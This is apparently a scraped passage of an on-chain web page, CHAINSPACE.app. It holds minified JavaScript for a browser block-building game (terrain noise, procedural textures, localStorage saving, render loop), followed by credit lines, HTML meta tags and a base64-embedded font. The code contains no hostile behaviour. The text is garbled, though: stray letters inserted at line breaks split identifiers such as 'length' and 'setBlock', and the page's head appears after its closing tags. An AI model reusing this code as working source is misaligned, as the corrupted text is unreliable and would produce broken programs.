7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
